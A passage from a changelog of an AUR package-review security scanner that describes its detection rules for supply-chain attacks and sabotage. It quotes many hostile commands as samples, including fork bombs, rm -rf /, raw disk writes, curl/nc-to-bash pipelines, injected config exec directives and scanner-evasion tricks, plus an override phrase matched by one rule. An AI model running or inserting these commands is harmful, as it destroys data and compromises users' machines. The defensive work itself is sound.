regressions in `tests/test_crossfire.py` (47 tests), alongside a bounded
matching check: no pattern may be made to backtrack on an 8 KiB hostile
line, which is the failure a sabotage rule already produced once.
- **X002's exclusions were derived from the corpus, not guessed.** An
assignment names no executable (`font=$(grep ...)`); a variable the
tokenizer reduced to a literal is a spelling choice, not an evasion; and
quotes and parentheses bound the command split, because a `|` inside
`sed 's|a|b|'` and an `&&` inside `(( a && b ))` are not command
separators. Each of those produced false positives before it was handled.
- **Two candidates were dropped for overlap rather than difficulty.**
Base64-to-shell is R003/R043 at CRITICAL; bidi and homoglyphs are R013 at
FATAL plus R013b. X001 ships as the *remainder* of the first. There is no
X008: the bidi rule leaves nothing for it to do, and scoring the same
characters twice would corrupt the calibration.
- **X005 became a rule about the spelling, not the write.** R077 already
claims a target starting with `~/` or `$HOME/`, so a second rule beside
it scored one line twice. But R077 matches only that prefix, and the same
directory is reachable as `/home/alice/...`, `/home/$USER/...`,
`~alice/...`, `/root/...`, `${HOME:-/home/alice}/...`, or by traversing
into it - none of which it sees. X005 now owns exactly those, defers to
R077 on the plain spelling, and exempts `$pkgdir` staging. It fires on
zero benign diffs.
- **R077 is CRITICAL inside an install scriptlet.** pacman runs scriptlets
as root during the transaction, so a write into a user's home from one is
categorical rather than suspicious. The same write during `build()` stays
HIGH.
- **Two more were dropped on measurement.** Bare `2>/dev/null` fires on
0.481% of benign diffs as ordinary defensive shell, so X004 excludes it.
Domain reputation and upstream-owner matching are absent from X006
because the novelty tier already scores a globally-first-seen URL.
-
The
crossfirecategory, previously reserved for cross-package comparison and shipping nothing, now carries this family.R143moved tomaintainer-and-metadata, whereR141already lives: it had been filed undercrossfireby mistake, which left the generated index simultaneously listing it and stating that crossfire ships nothing.COMPOSITIONwas not an option either - its rules are weight-0 annotations and R143 scores 25. -
A sabotage rule family (S001-S008). Every other family describes a supply-chain compromise - code fetched, credentials sent, persistence installed - and all of them assume the attacker wants something out of the machine, so there is a fetch or an egress to notice. A sabotage payload wants nothing out: it runs, and the machine is worse off.
Measured before these rules existed, all of the following scored 0/100
in build(): a classic fork bomb, rm -rf / --no-preserve-root,
dd if=/dev/zero of=/dev/sda, mkfs.ext4 /dev/sda1,
shred -u ~/.ssh/id_rsa, chmod -R 777 /, an xmrig invocation, and
history -c. A curl | bash on the same line scored 65, which is the shape
of the gap: excellent at supply-chain compromise, blind to sabotage. It was
not a documented limit either.
- `S001` recursive self-spawn (CRITICAL), `S002` recursive deletion
outside the build tree (CRITICAL), `S003` raw block device write
(CRITICAL), `S004` secure deletion of user data (HIGH), `S005`
permission change on a system path (HIGH), `S006` system service
disruption (HIGH), `S007` cryptocurrency miner (HIGH), `S008` shell
history or log destruction (MEDIUM).
- Named **sabotage**, not destruction: exhausting the CPU, stopping the
services a machine exists to run, and mining someone else's coin all
destroy nothing, and a family called destructive would have had no home
for them.
- Three distinctions carry the calibration, because none of these commands
is rare in a PKGBUILD. The build sandbox is not the system (`rm -rf
"$srcdir/build"` is housekeeping). A mention is not an invocation
(`echo "never run rm -rf /"` is a recipe being helpful, so every command
name is anchored to command position). A package's own service is not the
system's (`systemctl disable input-remapper` on removal is standard
packaging, so only system units count).
- Every rule fires on **zero** of the 3,739 diffs in the locked benign
corpus.
- AUR dependency depth. An AUR package's
dependsandmakedependscan name other AUR packages, andmakepkgbuilds those on your machine in the same run - so a review that read only the package you typed was reading one recipe out of several that would execute. This is the June 2026 campaign's relevance: an orphan is far more often somebody's dependency than the thing they meant to install.
[depth] levels in config and --depth per run: 0 disables it, 1 (the
default, for both review and inspect) analyses direct AUR dependencies,
n analyses n levels, -1 walks every level there is.
- **Each dependency is analysed as a package**, not as a component of
one: its own score, its own band, its own coverage gaps, its own row in
the database. Nothing is folded into the parent's score. That is
load-bearing rather than fastidious - `depth` is deliberately absent
from the config fingerprint, so a parent score that moved with
`--depth` would break B1 for every operator comparing two runs.
- **`-1` is bounded, and has to be.** The dependency graph is written by
the party under review: a recipe declaring five hundred AUR
`makedepends`, each declaring five hundred more, would otherwise decide
how many repositories this machine clones - the A14 breach that Part D
lists as a vulnerability. The ceilings are `depth.MAX_DEPTH_LEVELS` (8)
and `depth.MAX_DEPTH_NODES` (200 per run), both source constants.
- **New `deps_not_scanned` coverage gap**, recorded when the walk stopped
early: a ceiling cut it short, or a dependency could not be analysed. A
walk that *completed* is not a gap - asking for depth 1 and getting
depth 1 answers the question that was asked, and calling that
incomplete would make every default run report a gap and teach readers
to ignore it.
- The walk is cycle-safe, and one dependency is analysed once per run
even when twenty installed packages share it.
- **On the corpus path** (`full-aur`) the walk reads results the cycle has
already computed - the stored package profile first, the stored PKGBUILD
snapshot as a fallback - instead of re-running the pipeline for a package
that is analysed as a root anyway. Its visited set is deliberately *not*
shared between corpus packages: every package is a root there, so a
shared set would hand each dependency to whichever parent ran first and
leave every other parent reporting an empty closure, which reads as "this
package has no AUR dependencies".
- Dependency metadata comes from the corpus snapshot when one exists (no
network at all), otherwise one batched AUR RPC request per level.
`optdepends` is out of scope - it is not installed by default.
- **Mini-cards.** Each dependency renders as its own card nested inside
the package's card, indented by level, on all four terminal surfaces,
and as a `dependencies` array on all three JSON surfaces. The
`every render reports the same information` gate was extended to cover
them, so a dependency shown in one surface cannot be missing from
another.
- Detection for the June 2026 AUR campaign ("Atomic Arch",
Sonatype-2026-003775). The campaign hijacked ~1,500 orphaned packages,
left the upstream source untouched, and added npm build dependencies whose
install step ran a credential-harvesting binary during
makepkg.
Measured before this change, on a database with a normal corpus, that diff
scored 15/100 - UNFLAGGED. The 65 an empty database produced was an
artifact: 50 of those points were D001 "this dependency has never been seen
in the AUR", which goes silent once the corpus knows npm and nodejs. The
better the corpus, the lower the attack scored. It now scores 70/100,
High.
Four pieces, and only the first is a security invariant:
- **`unpinned_build_deps` coverage gap (B2, A14).** `makepkg` verifies
`source=()` against `sha256sums` and verifies nothing a build step
resolves from a registry, so when `prepare()` runs `npm install foo` the
code that will execute is not in the analysed text. That is a missing
sensor, so it is reported as one: the gap forbids UNFLAGGED and
qualifies the band. Deliberately **not** a scored rule - `npm install`
in a build function is ordinary AUR practice, which is exactly why R081
is scoped to install hooks and a calibration gate keeps it there, and
why the attack looked normal. Fires on 0.3% of the locked benign corpus.
- **R141 (adopted from orphan, MEDIUM).** The campaign's entry point.
R092/R093/R107/R111/R126 all describe adoption and all need a
`full-aur` cycle, so `trustsight review` users - the people actually
hit - had no adoption signal at all. R141 uses the AUR `Maintainer`
field the review path already fetches and threw away. Orphan state is
persisted tri-state (orphaned / maintained / never asked), and an
unavailable RPC records unknown rather than guessing either way.
- **R142 (recipe changed without upstream, MEDIUM).** A dependency array
**and** a build function both moved while `source=`, every `*sums=` and
`pkgver` did not. The conjunction is measured, not assumed: on the
3,739-diff benign corpus `deps or build` fires on 11.53% and
`deps and build` on **1.42%** - eight times less noise for no lost
detection, since the campaign changed both. It also keeps R142 off
R060's territory, which is INFO precisely because "build function
modified" fires on 21.4% of benign diffs.
- **R143 (the composition, HIGH).** R141, R142 and a registry resolution
together. Each member is ordinary alone and cheap by design; scoring
the conjunction is what clears the flag threshold without any single
rule spending fire rate it does not have.
-
An IOC surface for names a build step installs. A
packageindicator reached the AUR package name,pkgbaseand the dependency arrays. The campaign named its payload in none of those -atomic-lockfileappeared only as an argument tonpm installinsideprepare()- so a curator's list naming it would have matched nothing. Matches now carry thebuild_installsurface. -
data/iocs/atomic-arch-2026-06.json, threepackageindicators (atomic-lockfile,lockfile-js,js-digest) withSonatype-2026-003775provenance, built to an unsigned baseline inioc-baselines/. Narrowest indicator per the curation policy: thedepsbinary name is deliberately excluded as far too generic without a hash, and no domains or hashes were invented.
Security¶
- Four vocabularies were allowlists, and each was one rename wide. An external audit ran twenty-three passes against this tree; the findings collapsed into a small number of root causes, and the fixes below are those causes rather than the individual spellings.
The executor list. curl url | php is a remote shell as surely as
curl url | bash, and php, lua, tclsh, fish, tcsh, csh, rc, es, elvish,
xonsh and nu all execute standard input given no script argument. All now
score 65/High where they scored 30. awk is deliberately absent: awk reads
its program from an argument and its stdin is data.
The execution-verb forms. A flag or a wrapper is not a different
operation, but bash -x s.sh, env bash s.sh, nohup, timeout 5,
busybox sh, node s.sh, /usr/bin/bash s.sh and a bare "$srcdir/s.sh"
each produced no execution at all, so the write on the previous line paired
with nothing. env -i bash was caught while plain env bash was not, which
is the asymmetry that gives it away: the pattern was reading the verb's
position rather than what runs.
The write forms. tee names its destination as an argument - that is its
purpose - and only the redirect spelling was read. make > s.sh,
gzip -dc p.gz > s.sh, perl -e 'open(F,">s.sh")' and
python3 -c "open('s.sh','w')..." were all invisible, and dd of=X if=Y
failed for a third reason: the destination was read as the last token on
the line.
The fetch-client list. See X009 below.
-
Five new crossfire rules, for the shapes a longer list cannot express. X001-X008 match techniques; these match the point where an inventory ran out.
- X009 (CRITICAL) - a fetch reaching a shell through a client other
than curl/wget.
lftp -c "cat URL" | bash,nc host 80 | bash,scp host:/x - | bash,openssl s_client -connect h:443 | bash,dig +short TXT d | shandaria2c -o - URL | bashproduced nothing; several scored zero with no coverage gap, a silent clean verdict on a working remote code execution. The client vocabulary now lives in one place and is shared with R061, R137 and R051. - X010 (HIGH) - an interpreter one-liner that reaches the network.
php -r 'system(file_get_contents(URL));'needs no shell client, so R061's inventory never saw it. - X011 (HIGH) - a package manager fetching and running third-party
code at build time:
pip install git+https://,npm install <url>,cargo install --git,go install m@latest, and the one-shot runnersnpx/bunx/uv run/pipx run. It stands down on the spellings that answer its own question -npm install --ignore-scriptsturns off the hooks,pip install --no-deps .installs what this recipe just built - because both benign-corpus hits carried their disqualifier on the line. - X012 (HIGH) -
CC,PATH,LD_PRELOADand friends pointed into$srcdirahead of a compile step. The override fetches nothing and executes nothing a reader can see; what it does is decide which binary the next line runs. - X013 (HIGH) - a proxy, DNS override, host remap or replaced CA. A
URL in
source=()says where the bytes come from and a reader checks the host;--resolve,--connect-to,--doh-url,--cacert,SSL_CERT_FILEandCURL_CA_BUNDLEoverride that answer afterwards. R057 owns-k- turning verification off; this is the other half.
- X009 (CRITICAL) - a fetch reaching a shell through a client other
than curl/wget.
All five fire on zero of the 3,246 diffs in the locked benign corpus, and the flag rate is unchanged at 377 (11.614%).
- The last of the audit's silent rows. Replaying the probe corpus after
these changes leaves 81 of 687 rows silent, of which 72 are the audit's
own benign controls -
make,true,_size=999- which must stay at zero. Nine carry a payload, and each is a stated boundary rather than an oversight: the 5 MiB byte cap, a secret lookup that exfiltrates rather than executes, asubmodule.updatevalue git itself rejects, and configs written into the build tree whose tool never names the file.
Closed on the way: ttyd and zellij as exec wrappers, xargs as a
wrapper inside a pipeline (its -I{} flags carry braces the general
wrapper pattern does not allow), Perl's open2/open3, a flag whose
value is a script in the build tree, and a quoted value that is itself a
pipeline into a shell (mutt -e "push \"|bash\"", whose quotes are
backslash-escaped because the value nests inside another argument).
- Docs: navigation and reference tone. The fifteen rule category pages
were declared under a
project.nav.rulestable with norulesparent, so none of them rendered in the navigation - the rule list was reachable only by following a link from the index. Rules is now its own top-level section with all seventeen pages, and the nav uses the same array-of-tables form throughout.
The crossfire and unverifiable pages were rewritten as reference rather than narrative. They had grown to argue why each rule was written - which version was wrong, what fired on how many benign packages - and that is changelog material. A reference page states what a rule matches, shows a fires/quiet table, and links to the rules it defers to. The provenance stays here, where it belongs.
The index generator learned the W series and the new entry format; it had
been silently skipping six rules. It now also writes a Rules on this
page table into each of the fifteen category pages: those pages were a
flat run of ### sections with no ## above them, so a reader looking
for one rule got a single unstructured table of contents and had to
scroll.
A full pass over all 58 pages fixed the rest: two orphan pages
(license.md, contributing/blinded-evaluation.md) reachable only by
URL, seven pages carrying more than one # heading, and the last of the
provenance narrative on the R147 and R149 entries.
-
The audit's own probe corpus, replayed. The reports ship the scripts that produced them - 199 probes, 2,907 rows, each with the score recorded at the time. Replaying all of them against this tree turned a sampled claim into a measured one: of 687 rows that scored zero when the audit ran, 555 now score or fire a technique rule. What follows is what the replay found that sampling had missed.
-
sshwas never a fetch client. It read as covered because the audit's probe usedhostas the hostname, which collides with thehostDNS client - the chain fired for the wrong reason, and any other hostname scored nothing. Anchored on a remote command, since neithersshnorscpappears anywhere in the benign corpus. -
A filter between the fetch and the shell. X009 wanted the shell immediately after the pipe, so
dig +short txt e | head -c 2000 | bashhid the whole chain. R001 and R002 read past intervening stages for curl and wget; the rule written to cover the remainder did not. Both arms now ask about the end of the pipeline. -
A trailing
|| truehid the pipe before it. The pipeline reader treated||as voiding the line rather than ending the pipeline, and| bash || true- how nearly every probe spells the shape, so a failing payload does not fail the build - discarded the pipe entirely. -
X022: a generated config handed to the tool that reads it. The largest silent family in the audit. R145 and R149 claim a config that is shipped; this one stays in the build tree, where naming
$srcdiris perfectly normal, and is never installed anywhere. What makes it execution is the second line -printf "dhcp-script=$PWD/x.sh" > "$srcdir"/dthendnsmasq --conf-file="$srcdir"/d. The pairing is the observable: writing a config is ordinary and passing a filename to a program is ordinary. -
X023: command output executed as a script.
pass otp e | bash,cat /sys/kernel/tracing/trace | bash. The bytes are produced locally so no fetch rule has anything to say. No package in the benign corpus pipes anything at all into a shell. -
Padding with comments pushed the payload past the line cap. The twin of padding a single line with spaces, and it survived that fix: 20,000
# clines pushed acurl … | bashpastMAX_SCANNED_LINES. Comments and blanks are still emitted - dropping them would renumber every line after them, and the line number is evidence - but they no longer count against the limit. -
git's exec-bearing config keys.
core.fsmonitor,diff.external,filter.*.clean,credential.helperand the rest name programs git runs, andgit -c key=cmdsets one without looking like a command. A bounded list, because git publishes it - and narrowed to git's own semantics:submodule.<n>.updatetakescheckout|rebase|merge|none| !commandand an alias is a git subcommand unless prefixed with!, so disabling a submodule stays quiet as it does twice in the corpus. -
X021: the executor is literal and the file it runs is not. X002 asks whether the command can be read from the text; this asks the same of its argument, which was the open half.
set -- *.sh; bash "$1",mapfile -t A < <(ls *.sh); bash "${A[0]}",IFS=:; bash $*-bashis perfectly literal in every one, so X002 stands down and every path-pairing rule looks for a filename that is not there. An executor whose file argument is a positional parameter, an array element or a glob appears in no package in the benign corpus; recipes name the file they mean. -
R151: boot or image material built from the source tree.
dracut --include "$srcdir/x"injects a build-tree path into the initramfs, which runs before userspace exists and before any filesystem the user can inspect is mounted. Shipping a kernel module isinstall; generating boot material during a build captures the builder's machine. -
A content address is still an address.
magnet:names bytes rather than a host and carries no://, and the address matcher finds addresses by that marker - so the client was recognised and the fetch scored nothing, because nothing could be attributed to it. -
A sandbox root makes an absolute path tree content.
chroot "$srcdir/root" /bin/sh /x.shran an unread script and matched nothing: W001 wanted a bare executor word, not/bin/sh, and treated the leading slash of/x.shas marking a system file. -
W005: a build target whose recipe was not read. The third of the manifest trio - X020 claims the recipe writing the steps, W004 the recipe naming a manifest file, and this one the recipe naming a target inside a manifest it did not name: the implicit
Makefilethat came with the archive.make installis a contract every build system honours;make dist-hooksnames a recipe that exists only in this project's Makefile.
This rule exists because a measurement contradicted an assumption. The shape was dismissed as near-universal - "every package runs make" - and measured, a non-standard target turns out to appear in 0.3% of the benign corpus. The assumption was wrong.
-
A fork bomb written without a pipe. S001 required the
name|namespelling, soboom(){ boom & boom & }- the same bomb joined by&instead of a pipeline - read as clean. The essential property is that the body reaches its own name more than once and backgrounds, not which operator joins the calls. Recursion without backgrounding terminates, backgrounding without recursion is one job, and a name inside anechois a string; all three stay quiet. -
R150: an unread script executed during packaging. The scoring half of W001, and the split is measured rather than assumed.
package()stages files into$pkgdir; it is not where software gets built, and its output is the package. Of the three benign corpus diffs that execute a script from the unpacked tree, two are inbuild()and one inprepare()- none is inpackage(). So W001 keeps weight 0 over the surface where the behaviour is ordinary, and the subset that is not ordinary is scored. The W contract is unchanged: a W finding never carries weight, so a surface that deserves weight becomes a different rule rather than a heavier W. -
X020: the recipe writes the build steps the engine runs. A build system reads its steps from a manifest, and normally that manifest is upstream's or generated by cmake from upstream's. When the recipe writes one, the commands in it are the packager's - and they are data until the engine runs them, so no execution rule reads a
command =line.cat > build.ninjawithcommand = bash $srcdir/x.shinside puts an execution one indirection away from every rule that looks for one, and the invocation that follows is a bareninja -C buildnobody looks at twice.
It claims authoring, not transforming: sed -e … Makefile > dest
rewrites steps that came from upstream, which is how a DKMS package
substitutes a kernel version and was this rule's only benign fire before
the distinction was drawn.
-
W004: a build engine pointed at a manifest nobody read. X020's counterpart. Anchored on an explicit
-f/--fileargument, because a baremakealso runs a manifest nobody read and that is most of the ecosystem. Naming a particular file is a choice, and the choice is the observable. A declared manifest stays R138's, where the bytes are at least checksum-pinned. -
R149: a committed config pointing at a build-only path. The symmetric half of R145. That rule reads content the recipe generates into
$pkgdir; this one reads content the recipe committed and then ships. Same observable -$srcdir,$startdir,$PWDexist only while the package is built, so a shipped file naming one is either broken on arrival or aimed at a directory whoever wrote it expects to control when it is read - and the value has to sit in a directive that runs something, because aComment=mentioning a build path is a cosmetic mistake and anExec=naming one is a command pointed at nothing.
The key list went the same way the executor list did. The first
version asked "is this an exec directive" and carried a short catalogue
to answer it, on the reasoning that it only had to be good enough.
Measured against thirty verticals from the audit, it cost twelve:
System(...) in an Asterisk dialplan, binary= in an rsyslog action,
load_module in nginx, NOTIFYCMD in upsmon, DisplayCommand in sddm,
HOOKS=() in mkinitcpio, a bare source in a shell rc, a mailcap entry
with no key at all. A short list was not a smaller version of the
problem; it was the same problem.
So the question is inverted. A shipped file that names a build directory
is broken on arrival whatever field holds the path. What genuinely does
not matter is a field that only describes - Comment, Description,
Name, Icon, URL, X-*, a comment line - and those are few and
stable. All thirty verticals now fire; 249 committed files across 81 real
AUR repositories produce nothing.
This closes the config-carried-exec family an audit raised across 70
reports. Six of its ten worked examples already scored 50-75 (writes to
absolute system paths trip R058/R128/R054, and generated $pkgdir
content trips R145); the four that did not were all the same shape, a
directive in a committed file. That is one rule, not the 34
host-specific ones proposed - dhcp-script, omprog, exec_dset,
FoomaticRIPCommand and so on are an unbounded list, and the attacker
picks the next daemon.
The proposed design also tested "does this value reference a fetched
artifact" by accepting any path ending in .sh, .py or .js, which
makes ExecStart=/usr/share/p/launcher.sh - the most ordinary line a
packaged unit can contain - a CRITICAL finding. Its own negative example
passed only because firefox has no file extension. Anchoring on the
build-only path is what keeps that quiet.
- A new series: W, for what could not be checked. Every other rule says "this recipe does something". A W finding says "this analysis could not check something", attached to the line it applies to - the same act as a coverage gap, moved from the run to the line.
It exists because the alternative to pricing a common behaviour is not pricing it less, it is saying nothing at all. The largest such surface is a recipe that unpacks a declared, checksummed archive and runs a script from inside it. The checksum proves the bytes arrived unaltered and says nothing about what they do, and this analysis never reads them. Weighting that would put a finding on a large share of the ecosystem and make the number mean less, which is exactly what B10 forbids. Silence was the other option, and silence is what the boundary documentation had to describe as something TrustSight cannot see.
It can see it. It must not price it. So W001 says so and scores nothing - and is shown anyway, unlike every other weight-0 non-critical finding, because a statement whose only value is to a reader is worthless if filtered.
The pattern is deliberately its own rather than shared with R138. R138's
capture is allowed to be loose: a token that is not a path cannot equal a
declared basename, so python3 -m build capturing -m costs that rule
nothing. A rule that prints the path has no such luxury - reusing the
loose capture produced evidence like log\.txt|/var/log/ventoy.log|g
from inside a sed script, the MIME type in
x-scheme-handler/orcaslicer, and the usr/bin/env of a shebang. Two
shapes qualify and no third: an interpreter naming a file, and a ./
invocation. 3 of 3,246 benign diffs (0.09%), each a genuine case.
Two more members followed the same contract. W002 reports a build
step that resolves from a language registry - npm install, pip install
-r, cargo fetch - where the recipe names a set of packages and a
registry decides which bytes satisfy it, at build time, after review.
That is already the unpinned_build_deps coverage gap; what a gap cannot
say is where, which is the difference between a property of the
analysis and a property of the recipe. W003 reports a patch or
git apply naming bytes that are not in this repository: a committed
patch is one R146 reads, and a declared remote one sits behind a checksum
this tool never downloads. A tarball is upstream's own code; a patch is a
change to it that the packager chose, which makes it more interesting
to a reader, not less - and still unreadable here.
W003 is the highest-firing member at 2.06% of the benign corpus, and that is the correct answer rather than a tuning problem: applying a patch whose bytes are not in the repository is both common and genuinely unread.
Fixing that capture also tightened R138: its ./x arm was never anchored
to a command position, so it matched the ./ inside sed 's|./log…' and
inside ../x.patch.
-
A named
.installhook the tree read did not include. An.installscriptlet runs as root on the installing machine, and the recipe names it rather than containing it. Once a tree had been read the absence oftree_not_analyzedsaid the committed files were examined - but a manifest that does not hold the named hook means the one file whose whole purpose is to run as root was never examined, and the report claimed the tree was complete. -
A stale ruleset degrades the verdict instead of passing quietly.
rules.tomlis written once, at install time, and never rewritten, so a user who never hand-edits rules runs whatever the defaults were on the day the tool first ran.sync-rulesreports the divergence but refuses to adopt shipped patterns, because it cannot tell a stale rule from a customised one except through a hand-maintained list of superseded patterns.
That refusal is defensible - overwriting a user's edits would be worse.
Doing it silently is not: a run against a drifted ruleset has a detection
surface that is not the one this version documents, and B2 says an
analysis that could not do what it claims must say so. It now raises a
ruleset_drifted coverage gap. This one bit the audit itself twice, when
triage passes measured against a stale local file and reported rules as
broken that had shipped fixed.
-
R148: the metadata and the recipe describe different packages.
.SRCINFOis generated from the PKGBUILD, and the analysis prefers it wherever it is richer - structureddepends, expanded sources. Nothing compared the two, so a.SRCINFOnaming a source the recipe does not was believed, and an AUR helper resolving dependencies from metadata while makepkg builds from the recipe read two different descriptions of one package. Compared by host, because a PKGBUILD writessource=("$url/archive/v$pkgver.tar.gz")and the metadata carries the expansion; no package among 50 real AUR repositories has a.SRCINFOhost its PKGBUILD does not also name. -
One host, one spelling. Case, the root-label dot, the default port and userinfo each name the same machine, and every subsystem normalised a different subset.
classify_urllowercased the host for one check and handed the raw URL to the suffix extractor for the next, sohttps://GITHUB.com/...classified asunknownwhile the lowercase form classified astrusted_forge. Novelty had the mirror: five spellings of one resource were five first-seen events. -
One maintainer, one identity.
Alice,alice, Cyrillicаliceand a zero-width-splitali<ZWSP>cehashed to four identities and read as one person. Rotating the spelling split the longitudinal history, so an account could stay permanently new - stability priors and the observation floor never accumulate against an identity that is different every time. Every folding step is a no-op on a plain ASCII name, because this is the chokepoint the shipped seed corpus was hashed through. -
R012 stopped guessing the noun. The rule matched an ignore-verb, a backward reference and then one of eight enumerated nouns, so "disregard all earlier directions" passed. Measured against the corpus, the verb plus the backward reference appears in zero benign lines - the noun list was doing no work against false positives and only limited what the rule could see. It is gone.
-
R147: a checksum array shorter than its source array. makepkg pairs them by position and no rule looked at the two lengths together, so a source slipped in beside a checksum list nobody recounted scored nothing but priors. Two things had to be right first: a diff shows a hunk, not a file, so an array that continues into unchanged lines is only partly visible (counting the visible part fired on 26 benign packages); and
name::urlis makepkg's rename form and is one source, which a token regex read as two.
Checksum arrays are also read resolved now: _cs=SKIP above
sha256sums=("${_cs}") reported that a checksum had been set.
-
X018: an interpreter one-liner that assembles the name it calls. X010 and R044 look for a module name inside a
-cscript, and a keyword list in a language with string concatenation is a suggestion - one+inimportlib.import_module("url"+"lib.request")defeated all three rules at once. The rule looks for the assembly instead: reflection primitives and glued-together name literals. -
X019: host material sent or packaged. A DNS query whose name is computed, or an ICMP payload that is a hex dump, carries data out in a field nobody reads as a channel. The other half sends nothing at build time:
env,/etc/machine-id,~/.sshand shell history written into$pkgdirexfiltrate later, when the package is published.install -D /etc/machine-idtripped R058;catreading the same file into the same place was silent. -
Three fetch clients and a way out. libwww-perl's CLI (
lwp-request,lwp-download) and BSDfetch(1)were uncatalogued. So wasgit push: the inventory had clone, fetch and pull - every way to bring code in and no way to send it. -
R089 could not see the families built to evade it. Its stage map was written when the R-series was the whole ruleset, so a diff carrying nothing but evasion, or nothing but sabotage, could not reach the stage count however many rules fired. The X- and S-families are mapped now, and R089 itself is shown: it says the diff holds a staged attack chain, which changes how every other finding should be read, and it was computed and then dropped before anyone saw it.
-
A machine consumer can tell clean from unread.
flagged: falseis not "this package is fine", it is "the score this run produced did not reach the threshold" - and when coverage is incomplete that score came from a partial read. The JSON body now carriesfully_vetted.
Relatedly, a dependency the diff adds and the run did not analyse now
raises deps_not_scanned. Dependency findings still never move the
parent's score, which is right; what changes is that the report stops
claiming a complete analysis of a change it only half read.
- Padding a line past the clamp no longer blinds every rule at once.
Rules match against lines truncated to
MAX_RULE_LINE_BYTES. Pad acurl … | bashwith leading whitespace so the command starts past the ceiling and every pattern rule went blind together - R001, R010, the whole X-family - leaving only theline_truncatedgap, which carries no weight.
The clamp is not the defect. It bounds matching cost on attacker-chosen input, which is why it cannot be raised or replaced with sliding windows: the cost is the attacker's to choose and bounding the input bounds every pattern at once. What was wrong is that it measured bytes, and 8192 leading spaces are 8192 bytes of nothing. A shell ignores leading and repeated whitespace, so collapsing it before measuring changes what no line means, costs one linear pass, and spends the budget on content. Padding must now be made of real tokens, which a reader can see.
- Thirteen persistence paths R054 named but could not match.
/etc/ld.so.preload,tmpfiles.d,sysusers.d,polkit-1/rules.d,/etc/profile,/etc/bash.bashrc, systemdsystem-generators,/etc/rc.local,update-motd.d,/etc/skel,/etc/environment,sysctl.dandbinfmt.dall staged into the package root for nothing.
/etc/rc.local is the instructive one: it was already in the rule,
inside a group the pattern follows with a /. A directory needs that
slash and a file must not have one, so the rule listed a path it could
never match. The list is now split by that distinction. Each addition was
measured on its own against the benign corpus and each was at zero;
udev/rules.d, modprobe.d and apparmor.d stay out for the reason
already recorded - driver and library packages ship them as a matter of
course.
-
Four ways to ask for root. R009 named
sudo.doas,pkexecandrun0do the same thing, and naming only the first tested which tool the writer preferred rather than what it does.setcap cap_setuid+epgrants what the setuid bit grants by a different mechanism, and R053/R059 both keyed onchmod- a capability is not a mode, so it fired nothing. -
A variable defeated every sabotage rule at once. The S-family read literal text, so
dd of="$D",systemctl stop "$U"andrm -rf "$T"each evaded the rule written for it. The name is the attacker's to choose and the value is right there in the diff; the fetch and delivery rules resolve for exactly this reason. They now read resolved lines.
S002 had a second, sharper version of the same problem: its build-tree
stand-down tested the whole line, so rm -rf "$srcdir/.git" ~ cleared
a build directory and the operator's home in one command and the first
silenced the second. One $srcdir token was a licence to delete anything
standing next to it. The stand-down is now per-argument.
-
An override above an unchanged build step. X012 read added lines only - right for asking what a diff introduced, wrong for asking what an override redirects.
export CC="$srcdir/mcc"added directly above an unchangedmakeis the shape where the attacker supplies one line and the existing recipe supplies the rest, and it was the one shape the rule could not see. It also required a/after$srcdir, soPATH="$srcdir:$PATH"- the plainest spelling of the plainest case - matched nothing. -
A glob in command position.
/usr/bin/c?rl -s URL | bashruns curl; the word in the diff is not the name of any program, and what runs is whatever the glob finds on disk. Every other X002 shape answers "the reader cannot tell what runs from the text" and a glob answers it the same way - it was simply not on the list. R041 gained the same treatment for/dev/t?p/, where bash expands the glob when the redirect runs. -
X017: a command where a command is not expected. Every rule that reads execution reads a command.
--checkpoint-action=exec=,--to-command=,find -exec sh {},enable -fandhash -pput it in a flag value or a builtin's argument, so the line reads as archive extraction, a file search, or shell configuration.find -execis narrowed to an executor because the ordinary use is this rule's opposite. -
R138 gained the three arms R137 already had. The pair ask the same question of a fetched file and a declared one, and only R137 could see
sh < "$srcdir/setup.sh", a bare"$srcdir/setup.sh"in command position, ormake -fon a downloaded makefile. -
Two API-boundary fixes.
analyze_textnever type-checked its timestamps, so passing a date string - the obvious mistake - raised aTypeErrorfrom inside the temporal rules instead of naming the argument that was wrong. And a maintainer name reachedReportcarrying whatever terminal escape it was given: the CLI renderer cleans what it prints, but the fix belongs where the fact becomes a report, not in one of the things that reads it. -
R146: a committed companion that fetches and runs code. A
.servicewhoseExecStart=pipes a download into a shell is the payload, and nothing read it. The diff showed the recipe staging the file - ordinary packaging, scored as such - while the bytes that matter lived in a file the diff does not touch.
That split is available to an attacker as a schedule: commit the unit in
one push, where it is a file nobody runs, and add the install line in a
later one, where the reviewer sees a single unremarkable line. Neither
push contains an attack. Both together do.
Reading the content at all required a change underneath it. The tree
manifest kept 64 bytes per file, which answers "is this an ELF" - all
R118 ever asked - and cannot answer "what does this unit run". Files whose
names say a recipe can ship or apply them are now read to 16 KiB, with a
512 KiB ceiling across the tree, and a companion cut short by either bound
marks the tree incomplete rather than reporting a full examination of a
partial read. A patch is read by its added lines: a hunk that removes a
curl … | sh is the opposite of this rule's subject.
- X016: a fetch piped into something the analyser cannot name. R001
claims
curl … | bashby naming the executor, and every executor it does not name was a bypass:deno,bun,pwsh,julia,Rscript,guile,zx,escript,mrubyandfenneleach ran the fetched bytes for an undeclared-fetch HIGH and nothing more.
Adding those words would fix those words, and the attacker picks the next one. So the list is inverted. The set of interpreters is unbounded and chosen by the attacker; the set of things a recipe legitimately pipes a download into is small and chosen by the ecosystem - an extractor, a checksum, a text filter, a viewer. Those are enumerated, and anything else at the end of a fetch pipeline is claimed: not because the word is known to be an interpreter, but because it is not known to be a consumer. The rule stands down on the executors R001 already claims, so one pipeline produces one claim. Zero occurrences in the benign corpus.
- R145: a packaged file naming a build-only path. The largest silent
family was a configuration file the recipe generates into the package
root whose exec slot names a script - an i3
bindsym … exec, a polybarexec =, a udevRUN+=, an acmeRELOADCMD=, a muttmacro … !bash. Every rule that looks for execution reads the recipe's own commands, and none of those lines is a command the recipe runs. They are text, and what runs them is the user's session, later, on a different machine.
What separates them from the ordinary case is not the exec slot, which is
what those files are for - a .desktop with Exec=/usr/bin/p and a
bindsym $mod+d exec dmenu_run are exactly right and stay silent. It is
which path the slot names. $srcdir, $startdir and $PWD exist only
while the package is built, in a directory pacman never ships. A shipped
file naming one is either broken on arrival or aimed at a directory
whoever wrote it expects to control when it is read.
The rule is about the pairing of a write into $pkgdir with content
naming a build-only path, which is why it is not a line pattern:
install -Dm755 "$srcdir/x" "$pkgdir/usr/bin/x" names both on one line
and is the most common line in the ecosystem. There $srcdir is an
argument to a copy; here it is inside the bytes being written.
- R144: a packaged file pointing at a world-writable path. A config
staged into the package root that names a program under
